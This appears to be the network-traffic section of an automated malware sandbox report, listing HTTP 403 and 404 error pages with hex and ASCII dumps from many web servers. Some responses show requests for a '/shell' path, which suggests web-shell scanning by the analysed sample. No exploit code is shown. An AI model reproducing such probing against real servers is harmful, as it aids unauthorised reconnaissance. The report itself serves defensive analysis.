Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:04 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:04 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:06 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 427Content-Type: text/html; charset=utf-8Date: Sun, 14 Apr 2024 02:01:07 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 6e 6f 74 20 66 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 2a 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 73 79 73 74 65 6d 2d 75 69 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 7d 0d 0a 68 33 2c 20 70 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 0d 0a 70 20 7b 20 63 6f 6c 6f 72 3a 20 67 72 65 79 3b 20 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 33 3e 45 72 72 6f 72 3a 20 34 30 34 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 33 3e 0d 0a 3c 68 33 3e e6 89 be e4 b8 8d e5 88 b0 e6 82 a8 e8 a6 81 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e3 80 82 3c 2f 68 33 3e 0d 0a 0d 0a 3c 70 3e e5 8e 9f e5 9b a0 ef bc 9a e6 89 be e4 b8 8d e5 88 b0 e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e5 9f 9f e5 90 8d e5 af b9 e5 ba 94 e7 9a 84 e7 bd 91 e7 ab 99 ef bc 8c e8 af b7 e8 81 94 e7 b3 bb e7 bd 91 e7 ab 99 e7 ae a1 e7 90 86 e5 91 98 e3 80 82 3c 2f 70 3e 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"/><title>404 not found</title><style>* { font-family: Roboto, system-ui, sans-serif; }h3, p { text-align: center; }p { color: grey; }</style></head><body><h3>Error: 404 Page Not Found</h3><h3></h3><p></p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:07 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:07 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:07 GMTServer: Apache/2.4.52 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.0X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:01:06 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Microsoft-IIS/10.0X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:01:09 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Sun, 14 Apr 2024 02:00:20 GMTConnection: closeContent-Length: 315Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:10 GMTServer: Apache/2Content-Length: 315Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Sun, 14 Apr 2024 02:01:12 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:12 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 30 37 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 66 0d 0a 72 6f 6f 74 40 6c 6f 63 61 6c 68 6f 73 74 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 03:08:49 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 179Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /shell</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:33 GMTServer: Apache/2.4.7 (Ubuntu)Content-Length: 277Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.4.7 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:16 GMTServer: Apache/2.2.6 (Turbolinux)Last-Modified: Mon, 23 Jan 2017 07:38:20 GMTETag: "4006a9-127-15619300;15619300"Accept-Ranges: bytesContent-Length: 295Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 43 48 41 52 53 45 54 3d 69 73 6f 2d 32 30 32 32 2d 6a 70 22 3e 0a 3c 54 49 54 4c 45 3e 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 43 45 4e 54 45 52 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 42 52 3e 0a 3c 42 52 3e 0a 1b 24 42 24 34 3b 58 44 6a 24 4e 1b 28 42 55 52 4c 1b 24 42 24 4f 4c 35 38 7a 24 47 24 39 21 23 1b 28 42 0a 3c 2f 43 45 4e 54 45 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html;CHARSET=iso-2022-jp"><TITLE></TITLE></HEAD><BODY><CENTER>The requested URL is unavailable.<BR><BR>$B$4;XDj$N(BURL$B$OL58z$G$9!#(B</CENTER></BODY></HTML>
